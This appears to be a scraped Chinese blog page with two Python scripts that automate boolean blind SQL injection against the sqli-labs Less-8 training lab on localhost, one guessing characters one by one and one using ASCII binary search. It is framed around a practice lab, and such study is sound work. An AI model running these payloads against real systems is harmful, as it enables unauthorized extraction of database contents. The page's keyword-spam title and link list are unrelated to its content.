当前位置: 首页 > wzjs >正文

阿里云搭建网站教程西安百度快照优化

阿里云搭建网站教程,西安百度快照优化,怎样查看网站开发,做高端网站方法一(直接使用字符盲注) import requests#目标URL url "http://127.0.0.1/sqli/Less-8/index.php"#要推断的数据库信息(例如:数据库名) database_name ""#字符集(可以根据需要扩展…

方法一(直接使用字符盲注)

import requests#目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"#要推断的数据库信息(例如:数据库名)
database_name = ""#字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "#推断数据库名的长度def get_database_length():length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0#推断数据库名def get_database_name(length):db_name = ""for i in range(1, length + 1):for char in charset:  payload = f"1' AND (SELECT substring(database(), {i}, 1) = '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:db_name += charbreak  # 找到正确字符后跳出内层循环return db_name#主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")

方法二(二分查找–利用Ascii将其转化为数字进行盲注)

import requests
import time# 配置目标URL和检测信息
BASE_URL = "http://127.0.0.1/sqli/Less-8/index.php"
SUCCESS_MESSAGE = "You are in..........."
MAX_LENGTH = 50  # 最大长度限制
DELAY = 0.1  # 请求间隔(秒)
ASCII_MIN = 32  # 空格字符
ASCII_MAX = 126  # 波浪线字符def check_injection(url, payload):"""发送请求并检查是否注入成功"""try:response = requests.get(url, params={"id": payload})time.sleep(DELAY)  # 避免请求过快return SUCCESS_MESSAGE in response.textexcept requests.RequestException as e:print(f"请求出错: {e}")return Falsedef binary_search(url, payload_template, min_val, max_val):"""使用二分查找确定ASCII值"""low, high = min_val, max_valwhile low <= high:mid = (low + high) // 2# 检查是否等于中间值eq_payload = payload_template.format(operator="=", value=mid)if check_injection(url, eq_payload):return mid# 检查是否小于中间值lt_payload = payload_template.format(operator="<", value=mid)if check_injection(url, lt_payload):high = mid - 1else:low = mid + 1return -1  # 未找到匹配值def get_database_length(url):"""使用二分查找获取数据库名长度"""print("正在获取数据库名长度...")low, high = 1, MAX_LENGTHwhile low <= high:mid = (low + high) // 2payload = f"1' AND (SELECT length(database()) = {mid}) -- "if check_injection(url, payload):print(f"数据库名长度: {mid}")return midpayload_lt = f"1' AND (SELECT length(database()) < {mid}) -- "if check_injection(url, payload_lt):high = mid - 1else:low = mid + 1print("无法确定数据库名长度")return 0def get_database_name(url, length):"""使用二分查找获取数据库名"""print("正在获取数据库名...")db_name = ""payload_template = "1' AND (SELECT ASCII(SUBSTRING(database(), {pos}, 1)) {{operator}} {{value}}) -- "for pos in range(1, length + 1):formatted_template = payload_template.format(pos=pos)ascii_code = binary_search(url, formatted_template, ASCII_MIN, ASCII_MAX)if ascii_code != -1:db_name += chr(ascii_code)print(f"已获取字符 {pos}/{length}: {db_name}")return db_namedef main():"""主函数"""print(f"开始对 {BASE_URL} 进行SQL注入测试")# 获取数据库名db_length = get_database_length(BASE_URL)if db_length <= 0:print("无法获取数据库信息,退出")returndb_name = get_database_name(BASE_URL, db_length)print(f"数据库名: {db_name}")if __name__ == "__main__":main()
http://www.dtcms.com/wzjs/168697.html

相关文章:

  • 强化网站建设和监管广州seo工资
  • 快递物流公司网站模板软文怎么写比较吸引人
  • 网站建设员课程培训机构专业
  • 顺德品牌网站建设信息武汉大学人民医院地址
  • 销售行业怎样做网站seo排名推广工具
  • 网站设计分析报告360优化大师app
  • 国内html5网站欣赏推广赚钱的平台有哪些
  • 个人微信crm系统成都纯手工seo
  • 张家港网站建设模板seo优化的常用手法
  • 让别人做网站需要注意什么免费关键词优化工具
  • 一个刚做好的网站怎么做seo百度收录排名查询
  • 武昌做网站哪家好2024政治时政热点
  • wordpress 换行无效seo优化工具
  • 男女之间做下面哪个网站免费宁德市属于哪个省份
  • 网站建设的基本话术seo基础理论
  • 建设网站定制搜索关键词分析
  • 优酷网站建设有何特点国家市场监管总局
  • 昆明网站建设优化如何做好线上推广
  • 网站如何做压力测试福建百度推广开户
  • flash网站效果二十条优化
  • 1元网站建设精品网站制作appstore关键词优化
  • wordpress修改页面固定连接成都有实力的seo团队
  • 河北做wap网站合肥百度推广优化排名
  • 网站建设评审会的通知新郑网络推广公司
  • 花钱做网站需要所有权网络营销的概念与特点
  • 三级a一级a做爰网站百度开户返点
  • 做盈利的设计素材网站有前途百度一下百度网页版主页
  • 网站开发要计入无形资产吗网店seo关键词
  • 网站的倒计时怎么做的企业做个网站多少钱
  • 网站后台界面设计公司网站怎么建立